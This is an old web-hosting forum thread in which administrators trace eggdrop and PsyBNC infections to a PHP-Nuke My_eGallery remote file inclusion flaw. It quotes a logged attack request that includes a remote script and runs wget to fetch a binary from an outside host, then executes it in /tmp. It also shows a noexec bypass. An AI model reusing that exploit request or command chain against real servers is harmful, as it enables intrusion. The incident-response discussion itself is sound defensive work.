Ok, before anyone points me towards the threads that already exist about eggdrop around here, I've already read them. Also, before anyone skims my post and helpfully says "disable root login" or "run a firewall", don't... I'm already doing that.

What I'd like is for people to carefully read what I'm about to say, and work out advice that they can give that will be useful, based on the way my server is secured. I say this ahead of time because I know that quite often people can skim-read and then post an answer that they think will help, but is not relevant - and that confuses things

OK so, on to the problem.

Last Monday, I noticed with some concern that someone had downloaded a tarball via some script, and had tried to open it up. They had also fetched a tcl script and some text files. However, they failed to open the tarball, and also they failed to run the script, because of my setup - they got permission denied. One action that was tried was creating a hidden folder in /tmp. This failed, but I checked for it just in case, and it wasn't there.

So, then I go looking to see who it could be. Because it was Apache doing this, I knew they were obviously using a PHP script or something to pull the file down, but I don't know who did it. I searched FTP logs, looking for something that had been uploaded that looked odd. I searched http logs also, trying to see if an unusual script had been run. I came up blank - mainly because I have so many busy sites on my server, and I cannot possibly look through every line myself, so I had to make do with trying various strings to look for (for instance, I knew the exact time of the permission denied error, so I looked for what was being accessed at the time. It didn't help.)

I figure they used fopen() to get the remote file and write it to /tmp, because I found the tarball there. I downloaded it and had a look through, and I found eggdrop. Needless to say, that didn't please me much. I also examined the tcl script and the text files, but I found nothing damning - no sign of hack attempts, and nothing to suggest anyone was doing anything beyond trying to set up an IRC server (which is NOT allowed on my systems, ever, and so I was keen to find out who).

Well, after a while of fruitless searching, I gave up, and resolved to keep my eye on the issue.

Today, I had to restart Apache, but it failed to come up. Port 443 was already in use. Strange... a quick run of netstat showed sendmail using the port. Also strange - nothing should be on that port, plus I use qmail (got a Plesk 7 system here). A kill -9 stopped the process just fine, but to my concern I then saw that eggdrop was using the port... kill -9'd it, and sendmail was back. Very peculiar. A couple of kills later, and they were both gone, and I was able to restart Apache. (And I wasn't happy that all sites had been offline for a few minutes.)

Well, the first thing I did was try to find out where eggdrop was, and also whether it was being started by cron at all. I didn't find it anywhere in any of the cron files, but I DID find that hidden directory in /tmp that failed earlier in the week... ok, so I started to get worried then.

Tarballed and downloaded the directory, then zapped it. Checked through - nothing that would give anything away. Before I killed eggdrop I had run ps -auxw to show the full startup line, and I hunted for the text file that had been passed to eggdrop with the settings, but I didn't find it.

I then spent another long period of time searching ftp and http logs, and yet again I have found nothing. So, I've wasted what was supposed to be a much-needed relaxing Sunday afternoon, on a wild eggdrop chase. And I still have no idea how it got there, who ran it, or how the heck they managed to get it to execute.

----- ----- -----

OK so now you know the problem, this is where I describe the way I have set up my system.

I'm running Plesk 7.0.1 on RHE 3.

I have a 2.4.x kernel, patched as late as I dare (I don't want to update to 2.6.x yet)

I'm running a custom-compiled version of OpenSSH, the latest one last time I checked.
SSH is running on a secret IP (ONLY used for SSH) on a secret port.
No-one on the server has SSH access, or shell usage in any form.
Root login is disabled - a secret, unassociated user has root permissions, and I use that to do root stuff. Root itself doesn't even have a shell.
I don't use passwords to log in - I use a private key.
On top of all that, I have it locked down to my static IP, and I get sent an email every time the shell is opened.

Telnet is disabled etc.

I run APF, with everything blocked except the essentials. It's carefully configured, and as far as I can tell, eggdrop was never able to make a connection. Why it suddenly grabbed port 443 when I restarted Apache, I have no idea...

My Apache is custom-compiled, the latest 2.0.49 build, plus I use a tweaked suexec and a modded PHP 4.3.7-dev. I also have Python, Ruby, and Perl enabled in my Apache setup. For way of information, my Apache is multi-threaded, using a lot of custom stuff to get it stable (works like a dream, I must add...)

My /tmp is mounted as noexec, on it's own partition (I think I followed a how-to from these very forums actually).

----- ----- -----

There's other stuff I've done too, to try and secure the whole thing. I know that no-one is ever completely secure, but I think I know enough to cover most stuff. Tonnes of stuff I don't know though... which is always the problem. One never knows what the next exploit will be.

So - any ideas HOW this happened, how I can find out who did it, and how I can stop it happening again...?

If any more info is required, please ask.

Cheers people

::] krycek [::

OK, here's an update.

I still have no idea how these people managed to get eggdrop running from /tmp when it's noexec and nosuid, but evidently they didn't get very far, because they tried again today. I was able to find all the files they downloaded by looking in the Apache logs, and so I now have copies of all these files on my local system, plus the URLs they got them from.

I also have an IP which may possibly belong to the person, and it resolves to Uzbekistan - which is a great help I must say. Fat lot of stuff I can do if they're over there...

Right, so, I carried on trying to trace the method they are using to do this.

- I checked all Apache logs for all sites to see what files were accessed at the times that the hacker tools were being downloaded.
cat /home/httpd/vhosts/*/statistics/logs/access_log.processed | grep 'time' > cat.txt

- I used the same method to search all .htaccess files to find anyone using ForceType, or indeed any Files directives. I figured that someone may have uploaded a script named as something else, like a JPG, and then used ForceType to get it to execute as PHP, etc.

- I searched for the files that were downloaded.

- I checked all crontab stuff to see if a script was being called from there somehow.

...and guess what - I found nothing of any use. I still have no idea how the script is being executed. Someone must obviously have uploaded the script and then run it, but they don't seem to have done it through the web, and if they did it through cron then I can't find it.

I cannot disable stuff like fopen, so people are always going to be able to get files using PHP. If I turn off fopen or turn on safe mode etc. then a lot of people's stuff will stop working. The system is supposed to be pretty secure, what with suexec in use, and /tmp mounted as noexec and nosuid.

I cannot check every single file of every single customer - I cannot even check every single script file. There are simply too many. All the searches I am running are coming up blank. So I'm still no nearer determining how this is being done, or who is doing it - it must surely be someone with an account on the server, but I have a lot of accounts...

The worst news is that this time, as well as eggdrop, a rather nasty set of scripts was downloaded, including some rootkit stuff and also PsyBNC. As far as I can tell they have been unable to run any of this - they just keep getting permission denied errors. But eggdrop certainly was running earlier today, so I'm not quite sure what's going on. I'm a bit out of my depth here.

Any suggestions about what to do will be very welcome!

::] krycek [::

wow...

it scares me to see a server well secured like that in the first post , and such incedent get through all this !!

i got this damn eggdrop on my server a whiel back ... and it was becouase of a well known php script vuln.

i discovered this after checking the http log files , it was clear like the sun ...

i fixed this PHP script and every thing is normal since then ..

but now, i guess i have to wait till i got something like that again ..
seriously how can we secure a server more that that !!!!

i guess we need a hacker here to describe things out, not a guy running business to secure other's servers.

sorry if im a little rude, but it realy freek me out ...

krycek, i hope u get your answers very soon ... i've been thier buddy and knows how terrible it feels to keep on searching for logical reasons without any clue.

regards.

Hey krycek,

check out my thread that deal with the same situation like yours.

http://forums.ev1servers.net/showthread.ph...&threadid=44617

Apprently, we are in the same boats.

my tmp had been set to non-exec. However, they still manage to reboot my server. I still unable to trace out where this hacker is reside on my server yet.

You say you found stuff in your Apache logs, are you unable to use these logs to trace it back to a hosted domain?

Hey, thanks for the replies

I've closely examined the files that they downloaded, and the files that they were using on my server. I've managed to establish that they did not get very far - but it concerns me greatly as to how they did anything at all.

eggdrop was running as eggdrop, a dead giveaway, and the sendmail proggy that I was concerned about was something called 'c-leet', which appears to be associated to PsyBNC.

So, somehow they got both eggdrop and PsyBNC running, although neither of these programs managed to do anything at all, because they couldn't get past the firewall.

Interestingly, there are files with commands to deal with cron, but there's nothing like that anywhere in cron. I've searched and searched. I've run various rootkit checkers and they all say I'm fine (ok I get the aliens warning for /dev/tmpMnt, but that's normal when mounting /tmp as a file, and I also get the port 446 warning for bindshell, but again that means nothing).

So somehow they got eggdrop and psybnc to run, but seemingly got no further... quite odd. I tried running stuff out of /tmp, and it failed. Leaves me scratching my head. I like to think a /tmp mounted as noexec and nosuid is secure, you know?


Cpanoz - like I mentioned earlier, I still don't know the actual PHP (or other) script used. If you could tell me the parameters used to run the script you found, I could search for those... otherwise, it's like searching for a needle in a haystack. This server is going at around 1 to 3 Mb/s all day, and the logs are BIG.

I still have no idea WHO did this, which is the most frustrating part. If I could locate the caller script, it would help a lot... thankfully, like I mentioned earlier, I do have all the URLs the person downloaded this stuff from, but that is nowhere near as good as their IP and the account used.

Also, which http logs was it in? I found the initial giveaway in the error logs, which showed the files being grabbed, but searching the access logs is proving futile, because I cannot search manually, so the best I can do is weed out everything that was accessed at the time that corresponds with the downloads, and check those files... like I say, I've ruled out a ForceType, so it must surely be a .php or similar. (I have PHP, Perl, Python, and Ruby enabled, with a lot of extensions).


joseph - I read your thread (and the others that are similar) carefully before I created mine, but unfortunately it did not help me. Although the programs installed appear to be the same, I'm still at a loss as to how this happened.

I know you haven't got to the bottom of it yet, so hopefully one of us will find something important soon...


daveman692 - the problem is that the main, central error_log doesn't show a domain, because stuff in there is generally not tied to one. These has made me wonder if someone has called the script in question via cron or lynx etc.



Ok, so, what if you uploaded an innocently-named image file, and either renamed it to a .php or else set ForceType to handle it as such. Then call that script via crontab (which you could set up and then delete) or else bounce through another script. How would I go about finding the info I need?

The good thing is that no rootkit was installed. The files were for eggdrop and psybnc, but nothing more dodgy than that. There's nothing that would replace any system files, etc. (but I checked anyway, of course).

Back to searching through logs and banging my head against the wall...

::] krycek [::

I posted this in the nosuid and noexec tmp howto back when it was first made... Having your /tmp set as noexec does NOT stop things being executed fully..

cd /tmp
echo 'echo "hello world"' > hello
sh hello

Welcome to not so noexec world.

If you want me to have a dig through your logs feel free to send me a privmsg and you can email them to me.

To me, it looks like the cracker just remembered to check the ld.so man page.

Having /tmp mounted as noexec buys you nothing more than a false sense of security, and since they already managed to drop and execute a script in there, i'll say it's just a question of time before you're rooted.

You should seriously reconsider your position regarding sacrifying useability over security.

Err0r and Maverick - sorry if I've misunderstood something along the way... I'm not a n00b anymore, but neither am I a security expert... I was under the impression that mounting /tmp as noexec and nosuid was a Good Thing for security, and would prevent the execution of scripts from /tmp. If that's not the case, then how exactly does it stand, and what would you advise to secure the system even more?

I have certain programs as restricted access, but I am not about to turn on safe mode for everyone. That just isn't a feasible option; there are many valid reasons for needing safe mode off. Security is of paramount important, but there is always a balance to find between security and usability - after all, to be completely secure, turn of the system... but then it isn't usable...

Which logs would you recommend looking at? I have looked at everything I can think of - /var/logs stuff like messages and cron; central httpd logs such as error_log and access_log, etc. as well as the logs for individual domains - but although I can find when the script was executed, and what it did (plus I have files used *except* for the caller script) I cannot find the caller script itself, or who ran it. That's proving to be that hardest thing right now.

Also, what would you recommend that I do to further prevent people doing stuff like this through the apache user? No-one has shell except my secret user, but obviously it is easy to run some commands. Are there any tips you can give me about locking apache down further? I've read about chrooting apache, but I haven't done that yet - I'm still not sure if it would work right or whether it would introduce problems.

Thanks guys

::] krycek [::

If your running cpanel its also worth checking /var/cpanel/stunnel

Latest update, I finally trace down to where the insecure script is in.

There's a security hole in the module "My_eGallery" for PHPNUKE.

Here's the log:

domain1.com:202.155.82.190 - - [11/May/2004:14:09:23 +0800] "GET /modules/My_eGallery/public/displayCategory.php?basepath=http://www.freewebs.com/irclordz/inject.txt?&cmd=uname%20-a%20;%20id%20;%20cd%20/tmp%20;%20mkdir%20bin%20;%20cd%20bin%20;%20wget%20freewebs.com/irclordz/httpd%20;%20chmod%20755%20httpd%20;%20./httpd HTTP/1.0" 200 1668 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

All users are to search for the file called "displayCategory.php".

Please check if your clients are using My_eGallery module.

Thanks Joseph!

One site had that file - the site that I had traced the attack to. Searching their access logs shows clearly the same kind of thing as on yours. However, there is one problem. Although I run with safe mode off, I do use disable_functions:

disable_functions = putenv, dl, exec, shell_exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, system, popen, pclose

I had previously thought that disabling these functions would prevent attacks of the kind that happened. In searching through the displayCategory.php file, I notice that not only are those disabled functions not called, but also neither is fopen, readfile, etc...

I then of course noticed the way the includes are performed at the top of the file. Whoever coded that was a fool... I have register_globals on, because a lot of people still need them, but in this case it would not make any difference. The script writer needs to have his/her head examined.

Ok well the good news is that the attacker was obviously limited in what they could do. I have open_basedir restrictions etc. and so that must have helped. The bad news is obviously that they still managed to get an eggdrop running.

Taking a look at the injection file referenced, I can see that is makes a call to system(). But that's weird - system is in my disabled functions list! To check, I tried a few things but got nowhere - the expected error message was displayed.

So... for you, I think the problem was that you were running PHP without safe mode on or any functions disabled... in which case, I would normally say do one of the two... however for me I have to scratch my head a bit on this.

The only other possibility is that while I was playing around with PHP recently (I had a PHP/Apache bug that I had to fix, and so I recompiled PHP a dozen times or so) that I inadvertedly used the wrong php.ini, which didn't contain the disabled functions. I think that's the most likely explanation, so it sucks that the hacker managed to find that point in time that they were enabled.

But hey, thanks for finding that, and I'll certainly be on the lookout for My_eGallery in future! (Just in case! )

::] krycek [::

it was My_eGallery aslo in my case..
thier is a solution for that on nukecops.com BTW

the thing is, this exploit has been extremly spead latly..
and i think we are helping on that here without noticing ...

i mean if any body try to search for the word "My_eGallery" on google, and used the code mentioned in this thread, then expect a hell ...

i found the same code aslo on another thread here ...

i think the Moderators need to think about placing such things here on "p.u.b.l.i.c"

any how, i'm gald that u guys found out the source of the problem, sorry if i was little bit late to post my case in details here ...

regards

beaware guys,

there is a new injection code for My_eGalley and it will work even if you've fixed the displayCategory.php as mentioned on some websites ...

they droped another script on /tmp, but they couldn't excute it ..

regards.

Thanks for the info, Cpanoz. Look like we gonna ban my_egallery off the server for the time being.

Greetings:

1. While /tmp having its own partition and having nosuid and noexec will stop casual hackers, there are still ways to run executables within that partition.

2. /usr/tmp, /var/tmp and other areas, if not linked to /tmp, are a similar threat area.

3. Security has to be done in as many layers are you can manage throughout each and every day, every day.

There is no such thing as harden the server, and you are ok for any extended period of time.

Thank you.

so? what's the big deal. There's always a risk running a server on the internet. No way that you can run a fool-proof server.

you can run a fool-proof one, but not an expert-proof one...

anyway, I think he was just pointing out that we can never get complacent.

::] krycek [::

Dont forget /var/spool/mail this is a common hiding place for files now. Another way you can safeguard from an attack like this is to issue this command:

chmod 700 /usr/bin/wget

a question about that :

will CPANEL be able to use the wget like that when updating the system daily ?

or any other pice of software related to the system itself ?

thanx

Cpanel updates run as root so it should upgrade fine.